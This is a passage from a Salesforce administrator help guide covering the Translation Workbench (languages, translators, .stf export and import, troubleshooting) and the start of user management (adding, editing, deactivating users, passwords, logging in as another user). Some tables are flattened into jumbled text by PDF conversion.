Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for that language, and enter translated terms for customizations you've made in your organization's default language. Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation permission, and assign those administrators you don't want managing the Translation Workbench to the new profile. To add or edit translated languages and translators: 1. 2. 3. 4. Click Your Name > Setup > Translation Workbench > Translation Settings. Click Add to activate a new language or Edit to change an existing supported language. If adding a new language, choose a language. To make the entered translations available to your users - select Active. Users can change their personal language anytime whether or not it's active in the Translation Workbench. Selecting Active makes the translations available to the users in that language. Tip: We recommend you don't make a language active until the translators have translated all values.

5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member you want to add, enter keywords in the search box and click Find. Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin translating. Users can only translate languages they're assigned to. 6. Click Save.

See Also:
Setting Up the Translation Workbench Entering Translated Terms Entering Overrides to Translations in Managed Packages Updating Translated Terms

Translatable Customizations
To view the translatable customizations in your organization, select Your name > Setup > Administration Setup > Translation Workbench > Translate > Setup Component. Then, if needed, select Object, Custom Report Type Entity, or Aspect.

453

Translation Workbench

Translatable Customizations

The table below lists customizations that can be translated through the Translation Workbench. Setup Component Apex Sharing Reason Button and Link Label Object/Entity Custom Field Labels Account Campaign Contact Lead Custom Field Labels Custom App Custom Field Custom Field Labels Account Custom Field Labels Field Label Related List Label Help Text Custom Report Type Custom Report Type Field Label Description Custom Report Type Column Custom Report Type Layout Section Data Category Data Category Group Division Layout Section Lookup Filter Error Message Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Error Message Informational Message Picklist Value Account Asset Campaign Campaign Member Case Contact Contract Aspect

454

Translation Workbench

Translatable Customizations

Setup Component

Object/Entity Event Idea Lead Opportunity Product Solution Task

Aspect

Record Type S-Control Solution Category Standard Field Help Validation Error Message Web Tab Workflow Task

Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Subject Comment

See Also:
Setting Up the Translation Workbench Entering Translated Terms Entering Overrides to Translations in Managed Packages Exporting Translation Files

Entering Translated Terms

455

Translation Workbench

Entering Translated Terms

Available in: Professional, Enterprise, Unlimited, and Developer Editions

456

Translation Workbench

Entering Translated Terms

Setup Component Apex Sharing Reason Button and Link Label

Object/Entity Custom Field Labels Account Campaign Contact Lead Custom Field Labels

Aspect

Custom App Custom Field

Custom Field Labels Account Custom Field Labels Field Label Related List Label Help Text

Custom Report Type

Custom Report Type

Field Label Description

Custom Report Type Column Custom Report Type Layout Section Data Category Data Category Group Division Layout Section Lookup Filter Error Message Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Error Message Informational Message

457

Translation Workbench

Entering Translated Terms

Setup Component Picklist Value

Object/Entity Account Asset Campaign Campaign Member Case Contact Contract Event Idea Lead Opportunity Product Solution Task

Aspect

Record Type S-Control Solution Category Standard Field Help Validation Error Message Web Tab Workflow Task

Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Subject Comment

To enter translations: 1. Click Your Name > Setup > Translation Workbench > Translate. 2. Select the Language you're translating into. 3. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See translatable customizations on page 454 for a complete list of possible customizations. 4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect (Subject or Comment).

458

Translation Workbench

Entering Overrides to Translations in Managed Packages

5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need translating. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the Web services API. 6. Click Save.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Overrides to Translations in Managed Packages Updating Translated Terms

Entering Overrides to Translations in Managed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To override terms: View Setup and Configuration AND Customize Application

Although you can't edit labels or translations in a managed package, they are controlled by the developer, you can override them with the Translation Workbench. For example, if there is a custom field in a package you'd like to change, you can override it. To enter overrides to managed packages: 1. 2. 3. 4. Click Your Name > Setup > Translation Workbench > Override. Select the Package you are overriding. Select the Language you're entering your overrides in. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See translatable customizations on page 454 for a complete list of possible customizations. 5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect (Subject or Comment). 6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need to be changed. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the Web services API.

459

Translation Workbench

Entering Overrides to Translations in Managed Packages

7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need translating. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the Web services API. 8. Click Save.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Translated Terms Updating Translated Terms

Updating Translated Terms

460

Translation Workbench

Updating Translated Terms

Available in: Professional, Enterprise, Unlimited, and Developer Editions

461

Translation Workbench

Updating Translated Terms

Setup Component Apex Sharing Reason Button and Link Label

Object/Entity Custom Field Labels Account Campaign Contact Lead Custom Field Labels

Aspect

Custom App Custom Field

Custom Field Labels Account Custom Field Labels Field Label Related List Label Help Text

Custom Report Type

Custom Report Type

Field Label Description

Custom Report Type Column Custom Report Type Layout Section Data Category Data Category Group Division Layout Section Lookup Filter Error Message Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Error Message Informational Message

462

Translation Workbench

Updating Translated Terms

Setup Component Picklist Value

Object/Entity Account Asset Campaign Campaign Member Case Contact Contract Event Idea Lead Opportunity Product Solution Task

Aspect

Record Type S-Control Solution Category Standard Field Help Validation Error Message Web Tab Workflow Task

Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Custom Field Labels Subject Comment

When translated components are changed, the translated value is marked Out of Date. Translators are responsible for keeping the translated terms updated.

463

Translation Workbench

Exporting Translation Files

For best results, have your translators check their translations frequently, and be sure to notify them when changes occur. You can use the Translation Workbench Export > All feature to generate a list of all the translatable customizations and their associated Out of Date states.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Translated Terms Entering Overrides to Translations in Managed Packages

Exporting Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation and Customize Application

The Export feature of the Translation Workbench produces files that contain the customized field and object labels of standard objects in your Salesforce organization. Use these files to send to your outside translators or translation agency for bulk translation activities. Then use the Import feature to update your labels. 1. Go to Your name > Setup > Administration Setup > Translation Workbench > Export. 2. Select which labels you want to export. SourceUsed as the initial source for creating new translations. Creates a single file that contains a list of all your translatable customizations. Typically, the content is in your organization's default language. UntranslatedUsed to make updates. Creates a set of files that contain only customizations that have not been translated, including new and modified customizations. One file is created for each language. These files are then compressed into zip files. AllUsed for reference and reviewing all your untranslated and translated customizations. Creates a list of all the translatable labels in their current translated or untranslated state. One file is created for each language. These files are then compressed into zip files. The content in each file is divided into Untranslated and Translated sections. Each translatable label is in either the Untranslated or Translated section, according to its translation state. In the Translated section, out of date status for the labels in included. 3. Click Export.

464

Translation Workbench

Editing Translation Files

A status message tells you that the export is being processed. When the export is complete an email is sent to the email address specified in your profile. 4. Locate the exported .stf or .zip file. Go to Your name > Documents > Document Folders > My Personal Documents > Go!. All exported files indicate the Export option used to create them and are date and time stamped. Individual files end with the extension .stf. Multiple files are grouped into .zip files. If you have a large number of documents in your personal documents area, you'll find the exported files under the sort letter: AAll export option, for example: All_2010-09-23_11:20.zip. SSource export option, for example: Source_en_US_2010-09-23_11:20.stf. UUntranslated export option, for example: Untranslated_2010-09-23_11:20.zip.

5. Save out the files for translation by your translators or translation agency. Click View > Save File > OK. The file is saved to the location specified by your browser. For example, C:/Users/username/Downloads.

See Also:
Setting Up the Translation Workbench Importing Translated Files

Editing Translation Files


You use the following types of files to translate customization labels and review translations: Source: Use to translate labels for the first time. Untranslated: Use to translate labels after the first translation pass. Bilingual: Use to review and edit translations.

Translation files are identified by the extension .stf, to represent the Salesforce translation format. A translation filename includes the name of the export option used to create it, the language code for the file's content, and a date stamp. Multiple .stf files created with the Untranslated and Bilingual options are compressed into zip files up to 5 MB in size. If multiple zip files are needed, the zip filenames are each date stamped and incremented. For example, Untranslated
20100920 05:13 1of2.zip

Caution: Consider the following when editing your .stf files: Don't change the .stf file extension. If you use tabs, new lines, or carriage returns in your text for translation, notice that they are represented with special characters in the .stf file format. Tabs are \t, new lines are \n and carriage returns are \r. To ensure consistency between your language versions, ensure these characters are maintained in your translations.

Working with the Source File


Use the Source file to translate an organization's labels for the first time. The Source file contains labels for all of an organization's translatable customizations in the organization's default language.

465

Translation Workbench

Editing Translation Files

If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. To prepare the Source file for your translators: Create one copy of the Source file for each language you are translating into. In the header of each Source file, change the language code from the organization's default language (such as en_US) to the translation language (such as fr).

Tell your translators to replace the untranslated values in the LABEL column with translated values. Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Replace untranslated values with translated values

Working with the Untranslated File


Use the Untranslated file to translate labels that haven't been translated. One Untranslated file is generated for each language. When multiple files are generated, they're exported to a .zip file containing .stf files for each translation language. If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. Tell your translators to replace the untranslated values in the LABEL column with translated values. Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Replace untranslated values with translated values

466

Translation Workbench

Editing Translation Files

Working with the Bilingual File


Use the Bilingual file to review translations, edit labels that have already been translated, and add translations for labels that haven't been translated. One Bilingual file is generated for each translation language. The TRANSLATED section of the file contains the text that has been translated and needs to be reviewed. The UNTRANSLATED section of the file contains text that hasn't been translated. Edit the file using an editing application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. Identify labels that are out of date by scrolling through the OUT OF DATE column to locate values that have an asterisk (*). Update out of date labels as needed. Edit translated labels in the TRANSLATION column of the TRANSLATED section. Replace untranslated labels with translated values in the LABEL column of the UNTRANSLATED section. Delete a translation by replacing the desired value in the TRANSLATION column in either section with a left and right angle bracket pair (< >). When the Bilingual file is imported, the label reverts to its original value. Attention: Don't attempt to delete a translation by deleting a translated label from the file. Deleting a translation in the file doesn't remove the translation from the application after the file is imported.

Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Do not edit labels in the TRANSLATED section of the file In the UNTRANSLATED section of the file, replace untranslated labels with translated values In the TRANSLATED section of the file, edit current translations In the UNTRANSLATED section of the file, add translations

TRANSLATION

Current translation

467

Translation Workbench

Importing Translated Files

Column OUT OF DATE

Description Indicates whether the source text has changed since the previous translation. The out of date indicators are: An asterisk (*): The label is out of date. A change was made to the default language label and the translation hasn't been updated. A dash (-): The translation is current.

Edit Options Do not edit

See Also:
Setting Up the Translation Workbench Exporting Translation Files Importing Translated Files What languages does Salesforce support?

Importing Translated Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation or Customize Application

The Import feature of the Translation Workbench imports translation files and updates the translations for the customized field and object labels of standard objects in your Salesforce organization. Typically, the original files will have been created through the Export feature, then sent to your outside translators or translation agency for bulk translation activities and returned to you for importing. 1. Bundle multiple files into zip files that are no larger than 5 MB. Create multiple zip files as needed. The zipped files don't have to be in the same order or grouping as the exported zip files. For example, you start with two exported zip files. The first file includes French, Italian, and Japanese. The second file includes Russian, Simplified Chinese, and Greek. You can create: One zip file with French, Greek, and Italian. One zip file with Russian and Greek. One zip file with Simplified Chinese.

2. Go to Your name > Setup > Translation Workbench > Import. 3. Click Browse to locate and select the file you want to import. 4. Click Import.

468

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

After the import is complete: The labels are updated with the translations. A confirmation email is sent to the email address specified in your profile.

5. Verify the imported changes have been implemented. You can: Check labels in your Salesforce organization. Check labels through the Translation Workbench.

See Also:
Setting Up the Translation Workbench Exporting Translation Files

Troubleshooting Issues with Exporting and Importing Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation and Customize Application

Use this table to troubleshoot issues you might encounter while exporting and importing files in the Translation Workbench. Error Message Bilingual File starts with non-section header row: {0} What It Means The header rows of the file youre trying to import are missing, or there is extraneous text (such as notes that aren't commented out) in those rows. Troubleshooting Steps Export your file again and make sure there are header rows for all sections, and that all extraneous text has been commented out or removed from the header rows.

Duplicate key: {0} exists in import file, please re-export.

The specified key appears in your Export your file again and make sure that imported file more than once. Each each key in it is unique, and then translated item needs to have its own re-import the file. unique key, and each key can only appear in the file one time. During translation, Salesforce generates Export your file again and make sure the unique keys, or identifiers, for each keys in it match those in the file youre object, picklist value, or page element trying to import. youre translating. If these names or keys are changed after you export your file, Salesforce cant match the correct key with the correct name.

Invalid Key

469

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

Error Message

What It Means

Troubleshooting Steps

Key: {0} could not be uniquely resolved. One of the keys in your Custom Report Export your file again and make sure This is caused by a change to our Custom Type (CRT) column is in the wrong youre using the correct CRT key format. Report Type Column key format. Please format. re-export and use the new key format for those keys. Maximum character limit {x} for {field type} translation exceeded in line: Each type of field, such as a picklist Edit your translated labels so theyre value, can only have a certain number of within the character limit listed for the characters. Your translated labels for the field type and import your file again. type of field at the line specified in the error message are too long. The file youre trying to import is empty Make sure youre importing the correct or does not contain any translation file, and that it contains translated data. changes.

No data to import

No language code specified in file header The file youre trying to import doesnt Make sure your language code is valid on have a valid language code, or the page 3099 and isn't missing or commented language code is in the wrong place. out. No translated or untranslated section header found in the bilingual file The file youre trying to import is missing Make sure your file has section headers section headers. and import it again.

No valid file type specified in file header The file youre trying to import doesnt Make sure your file has a valid have a valid import/export type (Source, import/export type in the file header, and Untranslated, or Bilingual) specified in that the header did not get translated. the file header. The file type should be in the default language for your organization. Not a valid file to import. Please select a You can only import files in .stf format Make sure your file is a .stf or a .zip file .stf or a .zip file for import. or .zip files that contain .stf files. and try importing it again. Wrong number of columns in line: {x}. The file youre importing has extra tabs, Check that you have escaped tabs (\\t), newlines, or carriage returns in the line new lines (\\n), and carriage returns (\\r) specified in the error message. in your files. Your import request failed. Please retry Salesforce had an unexpected problem or contact support. while importing your file. Your organization does not have language permissions for {language}. The file youre trying to import is in a language you havent yet added to the Translation Workbench. Edit your data to remove or escape any extra tabs, newlines, or carriage returns, and make sure the file youre importing has the same number of columns as the file you exported. Contact Salesforce Customer Support. Add the language you want to use to the Translation Workbench on page 452 and import your file again.

See Also:
Adding and Editing Translated Languages and Translators Exporting Translation Files Importing Translated Files

470

Translation Workbench

Salesforce Globalization Overview

Salesforce Globalization Overview


There are multiple tasks that you can perform to globalize Salesforce.

Changing an Organization's Default Language


As an administrator, you can change your organization's default language on page 357. The default language is assigned to all new users. The labels in the application display in the language selected by the user and are not changed by changing the default language. As an end user, you can change your language on page 30. All default labels are displayed in the selected language. Customizations must be translated in order for them to appear in any language other than the default language.

Translating Customizations
You can translate customizations by using either the Translation Workbench or Force.com IDE. If you need to translate a small number of customizations, you can use the Translation Workbench's point-and-click interface to translate them quickly and easily. For information, see Entering Translated Terms on page 459. If you need to translate a large number of customizations into multiple languages, we recommend that you use either of the following tools: The Translation Workbench Export and Import options are useful if you prefer to manage translations by using an administrative user interface and adding translations to easy-to-use translation files. See Translation Workbench Export and Import Quick Start Guide. The Force.com IDE is useful if you are already using the Force.com IDE, or prefer to manage translations by using a developer interface and adding translations to an XML file. See Localizing with the Force.com IDE.

Translating Custom Labels


Custom labels enable you to create multilingual applications by presenting information (for example, help text or error messages) in a user's native language. Additionally, custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. Custom label values can be translated into any language that Salesforce supports. See Creating and Editing Custom Labels on page 1600.

Setting up International Organizations to Use Multiple Currencies


Salesforce provides multi-currency support for opportunity management, forecasting, and reporting. When you set up international organizations to use multiple currencies, each international division can track, forecast, and report on opportunities in local currencies, while providing company-wide reporting and forecasting in a single common currency. See International Organizations: Using Multiple Currencies.

Setting up Salesforce Knowledge to Support Multiple Languages


Salesforce Knowledge is a knowledge base in which users can easily create and manage content, known as articles, and quickly find and view the articles they need. You can translate articles into multiple languages so that customers and support agents can find content in their preferred languages. See Setting up a Multilingual Knowledge Base on page 1418.

471

User Management

User Management Overview

USER MANAGEMENT
User Management Overview
The available user management options vary according to which Salesforce Edition you have.

In Salesforce, every user is identified by a username, password, and a single profile. The profile determines what tasks users can perform, what data they see, and what they can do with the data. Depending on your organization's Salesforce edition and the additional features your organization has purchased, you may have user licensessuch as Marketing, Connect Offline, and Sales Anywherewhich give users the ability to access other features that are only available with a specific user license. A user can be assigned to one or more of these licenses. You can also set up accounts for users outside your organization who need to access a limited set of fields and objects. These user licenses can grant access to Customer Portal, partner portal, or Self-Service. Finally, using Salesforce to Salesforce, you can create connections to share records with other Salesforce users outside of your organization. As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and creating Google Apps accounts. You can also grant permissions, create and manage other types of users, create custom fields, set custom links, run reports on users, and delegate user administration tasks to other users. You can control a user's access to data in several ways: To control access to applications and objects, including fields and record types within objects, use profiles and permission sets. To control access to specific records, use sharing settings and rules.

See Also:
Overview of User Permissions and Access User Profiles Overview Permission Sets Overview Managing the Sharing Settings Securing Data Access

Viewing and Managing Users

472

User Management

Viewing and Managing Users

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Customer Portal and partner portals are not available in Database.com

User Permissions Needed To view user lists : View Setup and Configuration

To view and manage the users in your organization, click Your Name > Setup > Manage Users > Users. The user list shows all the users in your organization, partner portal, and Salesforce Customer Portal. From the user list, you can: Show a filtered list of users by selecting a list from the View drop-down list. Edit or create custom list views. For example, create a view with search criteria of Profile Name equals Read Only to show all users with the Read Only profile. Create one or multiple users. Reset passwords for selected users. Edit a user. View a user's detail page by clicking the name, alias, or username. View or edit a profile by clicking the profile name. Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization).

To create other types of users, see: Enabling the Customer Portal for Contacts and Person Accounts on page 177 Self-Service for Contacts and Person Accounts on page 174 Creating Partner Users on page 3081

Tips for Managing Users


You can create custom fields for users and set custom links to display on the user detail page. To access these options, click Your Name > Setup > Customize > Users. You can use the sidebar search to search for any user in your organization, regardless of the user's status. However, when using a lookup dialog from fields within records, the search results return only active users. You can also run user reports in the Reports tab. To simplify user management in organizations with large numbers of users, delegate aspects of user administration to non-administrator users.

473

User Management

Viewing and Managing Users

Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal users. However, you can delegate some portal administrative duties to portal users.

See Also:
Expiring Passwords Deactivating Users Logging In as Another User Granting Checkout Access Setting Quotas for Customizable Forecasting Assigning Users to Roles User Fields Editing Your Personal Information About Customer Portal User Management

Adding New Users


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create new users: Manage Users

The maximum number of users you can create is determined by your Edition: Salesforce Edition Personal Contact Manager Group Professional Enterprise Unlimited Developer Maximum Users 1 5 10 Unlimited Unlimited Unlimited 2

To create a new user for your organization: 1. Click Your Name > Setup > Manage Users > Users. 2. Click New User.

474

User Management

Viewing and Managing Users

In Professional, Enterprise, Unlimited, and Developer Editions, you can choose Add Multiple Users to add more than one user at a time. 3. Enter the users first name, last name, and email address. The email address becomes the username. Note: If the user's name includes non-English characters, the user must add the specified language to the mail format settings within Outlook if viewing email in Outlook. 4. Select a User License. The profiles available to you depend on the user license you choose. Note: Some options become unavailable depending on the license type you choose. For example, the Marketing User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts and Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available for Professional, Group, or Contact Manager Editions. 5. Select a profile to control the user's minimum permissions and access settings. For more information, see User Profiles Overview on page 490. 6. In Professional, Enterprise, Unlimited, and Developer Editions, select a role from the list defined for the Role field. See Managing Roles on page 483 if you have not set up the role hierarchy. 7. Depending on your Edition, you can enable additional features by selecting one or more of the following checkboxes: Checkbox
Marketing User Offline User Force.com Flow User

Available In Professional, Enterprise, and Unlimited Editions Professional, Enterprise, and Unlimited Editions Developer (with limitations), Enterprise, and Unlimited Editions Professional, Enterprise, or Unlimited Editions

Mobile User

This checkbox only displays if you purchased Salesforce Mobile feature licenses.
Salesforce CRM Content User Knowledge User Service Cloud User Siteforce Contributor User

Professional, Enterprise, and Unlimited Editions Professional, Enterprise, and Unlimited Editions Professional, Enterprise, and Unlimited Editions Developer (with limitations), Enterprise, and Unlimited Editions

This checkbox only displays if Siteforce is enabled for your organization.


Siteforce Publisher User

This checkbox only displays if Siteforce is enabled for your organization.

Developer (with limitations), Enterprise, and Unlimited Editions

You can't select these features if they aren't supported by your user license type. Additionally, you can't save the new user record if you don't have any available feature licenses for these features.

475

User Management

Viewing and Managing Users

Note: If the Marketing User checkbox isn't selected, users can only view campaigns and advanced campaign setup, edit the Campaign History for a single lead or contact, and run campaign reports. Set the users profile to Marketing User to enable the user to import leads and update campaign history via the member import wizards. 8. If your organization has Approvals enabled, you can set the user's approver settings, such as delegated approver, manager, and preference for receiving approval request emails. 9. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send email to the user when an application that invokes Apex uses more than half of the resources specified by the governor limits. This feature can be used during Apex code development to test the amount of resources being used at runtime. For more information, see Apex Code Overview on page 1825. 10. Check Generate new password and notify user immediately to have the users login name and a temporary password emailed to the new user. To create other types of users: For Salesforce Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page 177. For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 174. For partner users, see Creating Partner Accounts on page 3080. Note: You can change the license type of a Salesforce license, making it a Force.com license, but you cannot change a Force.com license into a Salesforce license. For more details, see Viewing User License Types on page 567.

See Also:
User Fields Editing Users Deactivating Users Viewing and Managing Users Setting Up Your Customer Portal Setting Up Self-Service

Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit users: Manage Users

To view or edit user information: 1. Click Your Name > Setup > Manage Users > Users. You can also edit your organization's users from the Users in Role related list in the role detail page. 2. Click Edit next to a users name.

476

User Management

Viewing and Managing Users

3. Change the necessary information and click Save. See Adding New Users for more detail about the fields on the user information page. Tips for Editing Users Users can change or add to their own personal information after they log in. If you change a users email address and Generate new password and notify user immediately is deselected, a confirmation message will be sent to the new email address that you entered. The user must click the link provided in that message for the new email address to take effect. This process ensures system security. When generating a new password for a user, the new password is automatically sent to the users email address and email verification is not enforced. If you change a user's username, a confirmation email with a login link is sent to the email address associated with that user account. If the user has problems logging into future sessions, they can use the link in the email. Problems might occur because an organization could have multiple login servers. It can sometimes take up to 24 hours for the username change to replicate to all of them. The link in the email connects directly to the server where the actual username change was made. This ensures that the user can always login even if server replication is slow. To deactivate users so they can no longer access your organization, deselect the Active box. Administrators can restrict the domain names of users email addresses to a list of explicitly allowed domains. Any attempts to set an email address with another domain will result in an error message. Contact salesforce.com to enable this functionality for your organization. Click Unlock to unlock a user that is locked out of Salesforce. This button is only available when a user is locked out. If your organization has managed packages installed, click Assign Licenses to assign a package license to the Uuser. Click Remove to remove a license assigned to the user. Click Grant Checkout Access to give a user access to Checkout. Using Checkout, the user can purchase Salesforce licenses, AppExchange app licenses, and other related products. Additionally, within Checkout, the user can view the organization's quotes, installed products, orders, invoices, payments, and contracts.

See Also:
User Fields Assigning Users to Roles Resetting Passwords Viewing and Managing Users Viewing User License Types About Customer Portal User Management

Viewing the Public Group Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user details: View Setup and Configuration

To view the public groups a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the Public Group Membership related list, you can:

477

User Management

Viewing and Managing Users

Click New Group to create a public group. Click a public group name to view its details.

See Also:
About Groups

Viewing the Queue Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user details: View Setup and Configuration

To view the queues a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the Queue Membership related list, you can: Click New Queue to create a queue. Click a queue name to view its details.

See Also:
Managing Queues

Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To deactivate users: Manage Users

You can't completely delete users from the system, but you can deactivate their logins so that they can no longer use the service. 1. Click Your Name > Setup > Manage Users > Users. 2. Click Edit next to a users name. 3. Deselect the Active checkbox and click Save. If the user is a member of account, sales, or case teams, Salesforce prompts you to remove the user from those teams.

478

User Management

Viewing and Managing Users

Tips on Deactivating Users Consider the following when deactivating users: Deactivated users lose access to any records that were manually shared with them, or records that were shared with them as team members. However, you can still transfer their data to other users and view their names on the Users page. Deactivated users are removed from the default sales and account teams of other users. The deactivated users' default sales and account teams are not removed. If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case Access) and is deactivated, the access will default to Read Only if the user is reactivated. Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen. However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If Allow Forecasting is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. For more information on territories, see Territory Management Overview on page 2349. A deactivated user doesn't count against your organizations available user licenses. However, deactivating a user doesn't reduce the number of licenses for which your organization is billed; you must change your organizations license count to change your billing. See Adding or Subtracting User Licenses on page 3322. You can't deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer Portal Login and Settings on page 1545. You can't deactivate a user selected in a custom hierarchy field even if you delete the field. You must delete and permanently erase the field first. For more information, see Managing Deleted Custom Fields. When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of. If Chatter is enabled and a user is deactivated, the user is removed from Following and Followers lists. This information is restored if the user is reactivated. It's possible for inactive users to be listed as Created By users even though they are no longer active in an organization. This can happen because some system operations create records and toggle preferences, acting as an arbitrary administrator user in your organization to complete the task. This user may be active or inactive.

See Also:
Mass Transferring Records Adding New Users Editing Users Viewing and Managing Users Disabling and Deactivating Portal Users

Resetting Passwords

479

User Management

Viewing and Managing Users

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To reset passwords: Reset Passwords and Unlock Users

To reset a users password: 1. Click Your Name > Setup > Manage Users > Users. 2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check the box in the column header to select all rows. 3. Click Reset Password to have a new password emailed to the user. Tips on Resetting Passwords Consider the following when resetting passwords: Only an administrator can reset Single Sign-On user passwords; Single Sign-On users cannot reset their own passwords. For information about Single Sign-On, see About Single Sign-On on page 630. Resetting users' passwords, might cause them to activate their computers to successfully log in to Salesforce. For more information, see Activating Your Computer on page 43. Reseting locked-out users' passwords automatically unlocks their accounts as well. When users lose their passwords, they can click the Forgot your password? link on a failed login page to receive a new password via email. They must correctly answer a previously defined security question before they can reset their password and log in. You can customize part of the page where the user answers the security question with additional information about where to go to for help. See Setting Password Policies on page 624. Note: If the user has not defined a security question, or fails to answer correctly when trying to login, the password is not reset.

See Also:
Expiring Passwords Viewing and Managing Users

Expiring Passwords

480

User Management

Viewing and Managing Users

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To expire all passwords: Manage Users

To expire passwords for all users, except those with the Password Never Expires permission: 1. Click Your Name > Setup > Security Controls > Expire All Passwords. 2. Select the Expire all user passwords checkbox. 3. Click Save. The next time each user logs in, he or she will be prompted to reset his or her password. Tips on Expiring Passwords Consider the following when expiring passwords: After you expire passwords, users might need to activate their computers to successfully log in to Salesforce. See Activating Your Computer on page 43. You can expire passwords for all users any time you want to enforce extra security for your organization. For more options you can set to ensure password security, see Setting Password Policies on page 624.

See Also:
Resetting Passwords

Logging In as Another User


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To log in as another user who has granted you access: Manage Users AND Modify All Data

To assist other users, administrators can log in to Salesforce as another user if that user has granted login access. To log in as another user: 1. Click Your Name > Setup > Manage Users > Users.

481

User Management

Viewing and Managing Users

2. Click the Login link next to the user who has granted you access. The Login link and button only appear for users who have granted login access to an administrator. 3. Click Your Name > Logout to return to your administrator account. Note: You can also log in as another user from the user detail page and the Users in Role list page.

See Also:
Viewing and Managing Users

Granting Checkout Access


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

